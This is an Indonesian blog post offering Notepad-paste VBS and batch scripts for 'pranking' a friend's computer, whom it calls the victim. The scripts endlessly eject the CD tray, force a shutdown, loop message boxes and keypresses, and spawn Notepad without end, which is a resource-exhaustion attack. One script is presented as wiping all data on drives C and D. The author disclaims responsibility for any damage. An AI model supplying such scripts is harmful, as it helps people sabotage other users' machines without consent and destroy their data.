Kumpulan Kode Script Untuk Menjahili Komputer Teman

Kumpulan Kode Script Untuk Menjahili Komputer Teman
Selamat sore sahabat http://teknik-iinformatika.blogspot.com/ sekarang saatnya untuk belajar cara ngerjain komputer teman. mungkin tips dan trik ini akan sedikit membuat agan akan di marahin si korban. dari pada lama-lama menunggu caranya kita langsung saja ke TKP.
berikut langkah-langkah yang agan jalankan :

===============================
Membuka Dan Menutup CD/DVD Komputer
1. Buka Notepad.
2. Pastekan kode dibawah ini!.

    Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop

3. Klik File >> Save As.
4. Berikan nama "PutuGiBagidvd.vbs" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Komputer Shutdown Dengan Muncul Pesan
1. Buka Notepad.
2. Pastekan kode dibawah ini!.

    @echo off
    msg * Harap tenang komputer anda akan mati! Hahaha!
    shutdown -s -c “Komputer anda mati. By PutuGiBagi"

3. Klik File >> Save As.
4. Berikan nama "PutuGiBagishutdown.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Pesan Muncul Berulang - Ulang
1. Buka Notepad.
2. Pastekan kode dibawah ini!.

    @ECHO off
    :Begin
    msg * hahahhaa
    msg * santai boss
    msg * ini hanya main-main
    msg * jangan marah ya
    msg * hanya bercanda by putugibagi
    GOTO BEGIN

3. Klik File >> Save As.
4. Berikan nama "PutuGiBagipesan.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Tombol Capslock Terus Menyala
1. Buka Notepad.
2. Pastekan kode dibawah ini!.

    Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop

3. Klik File >> Save As.
4. Berikan nama "PutuGiBagicapslock.vbs" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Terus – Menerus Menekan Tombol “BackSpace”
1. Buka Notepad.
2. Pastekan kode dibawah ini!.

    MsgBox “Kembali ke menu sebelumnya” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop

3. Klik File >> Save As.
4. Berikan nama "PutuGiBagibackspace.vbs" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuka Program Aplikasi Notepad Terus – Menerus
1. Buka Notepad.
2. Pastekan kode dibawah ini!.

    @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

3. Klik File >> Save As.
4. Berikan nama "PutuGiBaginotepad.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Menghapus semua Data  Tanpa Terkecuali (Hati - Hati!)
1. Buka Notepad.
2. Pastekan kode dibawah ini!.

    DEL C: -Y DEL D: -Y

3. Klik File >> Save As.
4. Berikan nama "PutuGiBagihapus.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
CATATAN PENTING!

    1. Semua script di atas akan berjalan jika sobat klik Pada file yang sobat ingin jalankan.
    2. Jika ada sesuatu yang terjadi jangan salahkan saya,karena saya hanya memberikan sedikit ilmu yang saya miliki.

jangan lupa follow dan komentar !!

Sekian dan Semoga Bermanfaat Untuk Anda Semua. Terima Kasih